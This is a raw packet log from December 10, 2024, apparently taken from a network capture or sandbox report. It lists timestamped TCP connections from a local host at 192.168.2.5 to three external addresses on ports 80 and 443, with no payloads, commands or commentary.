Dec 10, 2024 05:10:22.112468958 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.112510920 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.112539053 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.113476038 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.113518000 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.113621950 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.113658905 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.114530087 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.114569902 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.114609003 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.114644051 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.115566015 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.115609884 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.115736961 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.115776062 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.116588116 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.116660118 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.116712093 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.116751909 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.117651939 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.117695093 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.117755890 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.117794991 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.118715048 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.118767977 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.118813992 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.118854046 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.119740963 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.119782925 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.119810104 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.119846106 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.120775938 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.120819092 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:24.939915895 CET	49849	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:24.940385103 CET	49868	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:25.059745073 CET	80	49849	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:25.059768915 CET	80	49868	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:25.059847116 CET	49849	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:25.059886932 CET	49868	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:25.073236942 CET	49868	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:25.192511082 CET	80	49868	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:25.604290009 CET	49872	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:25.604321957 CET	443	49872	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:25.607099056 CET	49872	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:25.608226061 CET	49872	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:25.608237028 CET	443	49872	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:26.436204910 CET	80	49868	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:26.436295986 CET	49868	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:26.445594072 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:26.445885897 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:26.565190077 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:26.565296888 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:26.565323114 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:26.565361023 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:26.565537930 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:26.684710026 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:26.827464104 CET	443	49872	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:26.827527046 CET	49872	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:26.830123901 CET	49872	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:26.830132008 CET	443	49872	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:26.830389023 CET	443	49872	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:26.871052027 CET	49872	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:26.871094942 CET	49872	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:26.871196032 CET	443	49872	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:27.843446016 CET	443	49872	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:27.843537092 CET	443	49872	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:27.843640089 CET	49872	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:27.845355988 CET	49872	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:27.845386028 CET	443	49872	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:27.913203001 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:27.913238049 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:27.913288116 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:27.913327932 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:27.913669109 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:27.913707018 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:27.913717031 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:27.913727999 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:27.913760900 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:27.914446115 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:27.914486885 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:27.914488077 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:27.914496899 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:27.914519072 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:27.914536953 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:27.915136099 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:27.915206909 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:27.915241003 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:27.915283918 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:27.923177958 CET	49879	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:27.923218012 CET	443	49879	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:27.923293114 CET	49879	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:27.924371004 CET	49879	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:27.924381018 CET	443	49879	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:28.032629967 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.032699108 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.032727957 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.032804012 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.036741972 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.036812067 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.046845913 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.046905994 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.046969891 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.105875969 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.105948925 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.105962992 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.106004000 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.109877110 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.109939098 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.109988928 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.110029936 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.118347883 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.118406057 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.118468046 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.126674891 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.126733065 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.126890898 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.127083063 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.134977102 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.135092974 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.135111094 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.135139942 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.143392086 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.143446922 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.143541098 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.143723965 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.151732922 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.151808023 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.151835918 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.151909113 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.160062075 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.160145044 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.160206079 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.160270929 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.168422937 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.168524027 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.168661118 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.168802977 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.176043034 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.176126003 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.176146030 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.176227093 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.183578968 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.183666945 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.284091949 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.284112930 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.284307003 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.286218882 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.286312103 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.297833920 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.297930002 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.297930956 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.298034906 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.300002098 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.300081015 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.300117970 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.300208092 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.304491997 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.304563999 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.304578066 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.304670095 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.308912039 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.308995008 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.309026957 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.309123993 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.313322067 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.313416004 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.313445091 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.313512087 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.317773104 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.317857027 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.317887068 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.317938089 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.322263002 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.322294950 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.322382927 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.326709986 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.326733112 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.326809883 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.331089973 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.331207037 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.331291914 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.335550070 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.335628986 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.335724115 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.339972973 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.340107918 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.340203047 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.344404936 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.344460964 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.344511986 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.344594002 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.348826885 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.348875999 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.348910093 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.348957062 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.353269100 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.353384018 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.353473902 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.357714891 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.357826948 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.357883930 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.362134933 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.362265110 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.362363100 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.366575956 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.366660118 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.366719007 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.366802931 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.371005058 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.371025085 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.371118069 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.375451088 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.375500917 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.375585079 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.375701904 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.379877090 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.379920959 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.379931927 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.379961014 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.384321928 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.384618998 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.476010084 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.476073980 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.476083994 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.476159096 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.477919102 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.477984905 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.478045940 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.478096008 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.481730938 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.481777906 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.490022898 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.490094900 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.490375042 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.490580082 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.491579056 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.491687059 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.491718054 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.491740942 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.495012045 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.495083094 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.495110989 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.495166063 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.498490095 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.498545885 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.498579025 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.498684883 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.501857042 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.501914978 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.501971006 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.502027988 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.505153894 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.505237103 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.505268097 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.505311012 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.508430004 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.508548021 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.508594036 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.511615992 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.511665106 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.511735916 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.511944056 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.514827967 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.514926910 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.518024921 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.518171072 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.519980907 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.521212101 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.521266937 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.521342039 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.521392107 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.524411917 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.524468899 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.524514914 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.524705887 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.527615070 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.527668953 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.527698994 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.527757883 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.530801058 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.530862093 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.530884027 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.530925989 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.534003019 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.534109116 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.534154892 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.537214041 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.537305117 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.537348032 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.540359974 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.540460110 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.540513039 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.543595076 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.543653965 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.543694973 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.543739080 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.546789885 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.546844959 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.546871901 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.546915054 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.549982071 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.550036907 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.550041914 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.550086975 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.553147078 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.553198099 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.553239107 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.553390980 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.556348085 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.556394100 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.556457996 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.556499958 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.559570074 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.559622049 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.559678078 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.559727907 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.562741041 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.562789917 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.562839031 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.562880993 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.565941095 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.566000938 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.566035032 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.566073895 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.569144011 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.569192886 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.569258928 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.569303989 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.572333097 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.572457075 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.572506905 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.575530052 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.575647116 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.575699091 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.578702927 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.578764915 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.578807116 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.578856945 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:28.582062006 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:28.582184076 CET	80	49874	185.215.113.16	192.168.2.5
